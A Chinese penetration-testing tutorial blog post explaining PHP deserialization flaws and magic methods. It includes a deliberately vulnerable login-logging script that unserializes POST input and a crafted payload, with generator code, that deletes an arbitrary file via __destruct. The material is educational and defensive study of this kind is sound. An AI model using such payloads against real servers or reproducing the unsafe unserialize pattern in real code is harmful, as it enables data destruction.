(渗透学习)PHP 反序列化漏洞---魔术方法使用不当引发的后果

 

序列化:serialize()

反序列化:unserialize()

序列化对象:

<?php
class whatDo {
    var $x = "imz";
    var $y = 10;
}
$obj = new whatDo();
echo serialize($obj);
?>

输出:O:6:"whatDo":2:{s:1:"x";s:3:"imz";s:1:"y";i:10;}

反序列化漏洞关键点----魔术方法:

在PHP中,对象引用过程中,会自动触发魔术方法,如:
__construct()  // 创建对象时触发
__sleep()   // 使用 serialize 时触发
__wakeup()  // 使用 unserialize 时触发
__destruct()   // 对象被销毁时触发
__call()   // 在对象上下文中调用不可访问的方法时触发
__callStatic()   // 在静态上下文中调用不可访问的方法时触发
__get()   // 用于从不可访问的属性读取数据
__set()   // 用于将数据写入不可访问的属性
__isset()   // 在不可访问的属性上调用 isset() empty() 触发
__unset()   // 在不可访问的属性上使用 unset() 时触发
__toString()   // 把类当作字符串使用时触发
__invoke()   // 当脚本尝试将对象调用为函数时触发

以下代码用于简单的测试魔术方法调用过程:

<?php
class whatDo {
    public $x = "imz";

    public function __construct(){
        echo "对象创建成功!!"."</br>"."</br>";
    }
    public function __sleep(){
        echo "对象序列化成功!"."</br>"."</br>";
        return array();
    }
    public function __wakeup(){
        echo "还原对象成功!"."</br>"."</br>";
    }
    public function __destruct(){
        echo "结束,对象销毁!"."</br>"."</br>";
    }
}

echo "第一步:创建对象"."</br>";
$obj = new whatDo();
echo "第二步:序列化对象"."</br>";
$sl =  serialize($obj);
echo "第三步:反序列化还原对象"."</br>";
unserialize($sl);
?>

运行输出:

反序列漏洞需要依赖几个条件:

  1. unserialize函数的参数可控
  2. 脚本中存在一个魔术方法,方法中调用了对象里面的参数,并且这个参数我们可以通过创建对象重新赋值

如果在开发过程中使用魔术方法使用不当,就有可能产生反序列化漏洞

比如:开发人员想要存储登录信息,在存储过程中调用了临时文件,当操作完成时将自动删除临时文件,利用以下方式完成:unserialize_test.php

#unserialize_test.php

<?php
#存储临时日志到temp.log
class temp_log{
    public $filename = "temp.log";  #日志文件名
    #将登录信息写入日志
    public function get_info($text)
    {
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    #临时日志
    public function __destruct()
    {
        echo "删除了文件".$this->filename;
        unlink($this->filename);
    }
}
#获取登录信息
class user{
    public $username; #用户名
    public $sys_info; #操作系统信息
    public function print_login_info()
    {
        $log = $this->username."  ".date("Y-m-d H:i:s")."  ".$this->sys_info;
    }
}
#获取来自登录页面登录信息
$user = unserialize($_POST['login_info']);

以上代码中,利用POST方法接收来自登录页面的信息login_info,而登录信息是通过序列化传入过来的,所以需要反序列化还原数据,并且login_info是可控的,所以满足了反序列化漏洞的第一个要求

而在对象temp_log中重写了魔术方法__destruct,并且该方法中删除的文件名是引用对象里面的参数$filename,我们可以通过创建对象重新赋值,所以这满足了反序列化漏洞的第二个要求

所以我们可以构造一个payload,用于删除任意文件,这里我想要删除xxx.txt

login_info=O:8:"temp_log":1:{s:8:"filename";s:7:"xxx.txt";}

我们可以利用代码去构造我们想要的payload,运行以下代码即可得到攻击payload

<?php
class temp_log{
    public $filename;
}
$obj = new temp_log();
$obj->filename='xxx.txt'; #可以改成任意想要删除的文件名
echo serialize($obj)
?>

首先,创建xxx.txt

访问unserialize_test.php

POST将构造的payload传给login_info

成功删除xxx.txt

为什么会产生反序列化漏洞?

比如上面的例子,在正常情况下,从页面接收到的登录信息login_info是用户在登录时,页面自动获取到的正常数据,并将得到的数据拼接成日志形式存储在日志文件中,不会有任何的危害。

但是,因为调用销毁函数__destruct用于删除临时文件时,引用了对象里面声明的参数filename,这时攻击者就可以去重写该对象,并将filename重新赋值xxx.txt,并将对象生成一个序列化字符串,通过POST带入login_info,使程序在反序列化login_info字符串时,变相的帮攻击者去创建了temp_log对象,当反序列化完成,已经完成一次对象引用,程序又会自动去调用销毁方法__destruct删除文件,而这时的文件名却是攻击者指定的,达到攻击目的。

在实际应用中,反序列化漏洞产生的危害有很多种,可能是文件包含、命令执行、sql注入...

这取决于魔术方法

防御方法:

严格控制用户输入

对传入的反序列化参数进行严格过滤

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值